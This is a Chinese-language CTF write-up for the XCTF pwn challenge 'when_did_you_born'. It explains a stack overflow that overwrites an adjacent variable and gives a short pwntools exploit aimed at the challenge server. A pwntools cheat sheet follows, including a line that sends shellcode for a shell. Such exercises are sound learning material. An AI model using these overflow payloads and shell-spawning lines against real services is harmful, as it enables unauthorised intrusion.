zoukankan      html  css  js  c++  java
  • day-5 xctf-when_did_you_born

    xctf-when_did_you_born

    题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051

    checksec文件:

     没啥,ida打开:

     第一个判断v5应该不等于1926,第二次判断应该等于1926,看到v4,双击进入,可以查看到v5和v4都是同一stack下的,用v4覆盖v5的位置,实现第二个判断为1926。

    在最上面定义可以看到,相对偏移为8。

    构造exp:

    from pwn import *
    
    
    
    #cnn = process('./when_did_you_born')
    
    cnn = remote('111.198.29.45',33487)
    
    
    
    payload = 'a'*8+p64(1926)
    
    
    
    cnn.recvuntil('Your Birth?')
    
    cnn.sendline('1926')
    
    
    
    cnn.sendline(payload)
    
    
    
    cnn.interactive() 

     

    运行一下,可以得到flag:

    总结:唔。。。这是昨天的升级版。

    额外小知识:

    # Pwntools环境预设
    from pwn import *
    context.arch = "amd64/i386"                             #指定系统架构
    context.terminal = ["tmux,"splitw","-h"]     #指定分屏终端
    context.os = "linux"                                     #context用于预设环境
    
    # 库信息
    elf = ELF('./PWNME')                        # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
    libc = ELF('lib/i386-linux-gnu/libc-2.23.so')     # 载入libc的库,可以通过vmmap查看
    /*
    首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如
    >>> e = ELF('/bin/cat')
    >>> print hex(e.address)    # 文件装载的基地址
    >>> print hex(e.symbols['write']) # plt中write函数地址
    >>> print hex(e.got['write'])     # GOT表中write符号的地址
    >>> print hex(e.plt['write'])       # PLT表中write符号的地址                    
    */                                       
    
    # Pwntools通信                    
    p = process('./pwnme')                      # 本地 process与程序交互
    r = remote('exploitme.example.com',3333)          # 远程
    
    # 交互
    recv()          # 接收数据,一直接收
    recv(numb=4096,timeout=default) # 指定接收字节数与超时时间                    
    recvuntil("111")     # 接收到111结束,可以裁剪,如.[1:4]
    recbline()      # 接收到换行结束
    recvline(n)     # 接收到n个换行结束
    recvall()           # 接收到EOF
    recvrepeat(timeout=default) #接收到EOF或timeout
    send(data)      # 发送数据
    sendline(data)      # 发送一行数据,在末尾会加
    
    sendlineafter(delims,data) #   在程序接收到delims再发送data                  
    r.send(asm(shellcraft.sh()))                          # 信息通信交互                                       
    r.interactive()                              # send payload后接收当前的shell
    
    # 字符串与地址的转换
    p64(),p32()  #将字符串转化为ascii字节流
    u64(),u32()  #将ascii的字节流解包为字符串地址   
  • 相关阅读:
    hdu1066之数学题
    hdu1065计算几何
    hdu1060
    hdu1056
    appium安装说明
    LR安装说明
    网络编程
    读写excel
    dom
    HTML
  • 原文地址:https://www.cnblogs.com/yidianhan/p/11583561.html
Copyright © 2011-2022 走看看